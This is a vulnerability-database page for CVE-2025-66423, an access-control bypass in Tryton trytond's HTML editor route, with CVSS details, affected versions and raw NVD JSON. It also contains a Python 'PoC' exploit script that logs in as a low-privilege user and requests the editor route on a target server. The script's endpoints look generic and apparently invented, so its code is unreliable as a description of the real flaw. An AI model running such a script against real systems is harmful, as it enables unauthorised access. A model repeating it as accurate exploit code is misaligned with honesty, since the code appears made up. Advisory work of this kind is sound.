Security Vulnerability Report
中文
CVE-2025-66423 CVSS 7.1 HIGH

CVE-2025-66423

Published: 2025-11-30 03:15:48
Last Modified: 2025-12-04 17:10:35

Description

Tryton trytond 6.0 before 7.6.11 does not enforce access rights for the route of the HTML editor. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.70.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:* - VULNERABLE
Tryton trytond < 6.0.70
Tryton trytond 6.0.x - 6.8.x
Tryton trytond < 7.0.40
Tryton trytond 7.0.x - 7.2.x
Tryton trytond < 7.4.21
Tryton trytond 7.4.x - 7.6.x
Tryton trytond < 7.6.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66423 PoC - Tryton trytond Access Control Bypass # Target: Tryton trytond < 7.6.11, < 7.4.21, < 7.0.40, < 6.0.70 import requests import json TARGET_URL = "http://target-tryton-server.com:8000" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2025_66423(): """ This PoC demonstrates the access control bypass in Tryton trytond's HTML editor route. The vulnerability allows low-privilege users to access HTML editor functionality without proper authorization. """ # Step 1: Login with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Logged in with low-privilege account") # Step 2: Access HTML editor route (should be restricted) # The vulnerable route does not enforce access rights html_editor_url = f"{TARGET_URL}/html_editor" response = session.get(html_editor_url) # If we get a successful response (200), access control is bypassed if response.status_code == 200: print("[!] VULNERABLE: Access control bypassed!") print(f"[+] Accessed HTML editor with low-privilege user") print(f"Response: {response.text[:500]}") return True else: print("[-] Not vulnerable or patch applied") return False if __name__ == "__main__": exploit_cve_2025_66423()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66423", "sourceIdentifier": "[email protected]", "published": "2025-11-30T03:15:48.163", "lastModified": "2025-12-04T17:10:35.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tryton trytond 6.0 before 7.6.11 does not enforce access rights for the route of the HTML editor. This is fixed in 7.6.11, 7.4.21, 7.0.40, and 6.0.70."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.70", "matchCriteriaId": "4E811A8E-7C2B-414F-B929-7AF685F83092"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.40", "matchCriteriaId": "179B2F4A-0AF8-4D72-A371-B0B7A2BD9FBD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.21", "matchCriteriaId": "EC73A2FC-9781-4560-9C79-3A6627BF3A73"}, {"vulnerable": true, "criteria": "cpe:2.3:a:tryton:trytond:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.11", "matchCriteriaId": "899860ED-5426-4396-AF24-470DB633F208"}]}]}], "references": [{"url": "https://discuss.tryton.org/t/security-release-for-issue-14364/8952", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://foss.heptapod.net/tryton/tryton/-/issues/14364", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}